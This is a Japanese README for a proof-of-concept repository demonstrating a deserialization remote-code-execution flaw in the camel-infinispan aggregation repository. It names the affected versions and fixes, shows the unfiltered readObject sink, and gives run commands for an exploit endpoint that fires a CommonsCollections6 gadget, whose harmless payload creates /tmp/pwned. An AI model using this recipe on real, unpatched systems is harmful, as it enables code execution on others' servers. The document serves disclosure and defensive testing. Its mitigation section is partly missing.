
このプロジェクトは、Apache Camel の camel-infinispan コンポーネントにおける Java デシリアライゼーションの脆弱性 ( CVE-2026-40858 として追跡) を示しています。ProtoStream ベースの リモート集約リポジトリ は、集約された各 Exchange をリモートの Infinispan キャッシュにシリアライズし、エントリを読み戻すとき (get() / recover()) に java.io.ObjectInputStream でデシリアライズしますが、ObjectInputFilter はありません。バッキングキャッシュに書き込める攻撃者は、細工したシリアライズオブジェクトを仕掛け、リポジトリがそのキーを次に読み取ったときに リモートコード実行 を得られます。
セキュリティ勧告: https://camel.apache.org/security/CVE-2026-40858.html
| プロパティ | 値 |
|---|
| コンポーネント | camel-infinispan (リモート / HotRod 集約リポジトリ) |
| 影響を受けるクラス | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: 信頼できないデータのデシリアライゼーション |
| 影響 | リモートコード実行 (RCE) |
| 影響を受けるバージョン | 4.0.0 から 4.14.7 未満、4.15.0 から 4.18.2 未満、4.19.0 から 4.20.0 未満 |
| 修正バージョン | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| 報告者 | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository は、各 Exchange を DefaultExchangeHolder として保存します。ProtoStream マーシャラーを使用すると、そのホルダーは DefaultExchangeHolderProtoAdapter によって適応され、その ProtoStream フィールド #1 は、プレーンな ObjectOutputStream でシリアライズされたホルダーです。読み戻すとき、アダプターはそれらのバイトを DefaultExchangeHolderUtils.deserialize に渡してホルダーを再構築します。
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
ClassLoadingAwareObjectInputStream は、解決可能なクラスのセットを制限するのではなく広げるため、readObject() はクラスパス上にある任意のガジェットチェーンをインスタンス化します。バイトはリモートキャッシュから直接取得されるため、そのキャッシュキーに書き込める人は誰でもデシリアライゼーションストリームを制御できます — そしてガジェットは、値が DefaultExchangeHolder にキャストされる前に、readObject() の間に発火します。
ルート (または、ここでのようにアプリケーションコード) は、Infinispan サーバーをバックエンドとするリモート集約リポジトリを使用します。
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
保存された値が改ざんされたキーに対する get() / recover() は、シンクをトリガーします。
脆弱な Camel コードはアプリケーション (ホスト上) で実行されます。Infinispan サーバーは Docker 内で実行され、リポジトリが通信するバッキングストアとして機能します。これは、実際のデプロイメントでリポジトリがどのように配置されるかを反映しています。すなわち、信頼できないデータは共有キャッシュ内に存在します。
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
PoC のショートカットに関する注意。 実際の攻撃者は、悪意のあるバイトを共有 Infinispan キャッシュに直接書き込みます。再現コードを自己完結型に保つため、
/exploit/attackは同じリポジトリ (Exchangeボディとしてガジェットを指定したrepo.add(...)) を介して値を仕掛け、次にrepo.get(...)を呼び出して読み取りをトリガーします。ガジェットを実行するシンクは Camel 自身のreadObject()であり、攻撃者によって改ざんされたキャッシュエントリで発火するのとまったく同じです。
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
CommonsCollections6 ガジェットはリフレクションを介して java.util 内に動的に組み立てられるため、JVM は --add-opens java.base/java.util=ALL-UNNAMED 付きで起動する必要があります。
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned は、リポジトリが仕掛けられたキャッシュ値をデシリアライズしている間に、ガジェット (touch /tmp/pwned) によって作成されます。
docker compose down
rm -f /tmp/pwned
攻撃者が書き込み可能なキャッシュに対して InfinispanRemoteAggregationRepository (ProtoStream マーシャリング) を使用するあらゆるデプロイメント。キャッシュへの書き込みアクセスは、共有/マルチテナントの Infinispan クラスター、ネットワーク到達可能な HotRod エンドポイント、または同じキャッシュにデータを配置するその他のプロデューサーから得られます。
commons-collections:3.2.1)。4.14.7 / 4.18.2 / 4.20.0 にアップグレードします。この修正により、ホルダーのデシリアライゼーションに ObjectInputFilter / クラス許可リストが適用され、他の Camel 集約リポジトリ (camel-leveldb、camel-cassandraql、camel-jms) や camel-mina / camel-netty に適用された堅牢化と一致します。
アップグレードするまでの間:
この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されます。明示的な許可なくシステムに対して使用しないでください。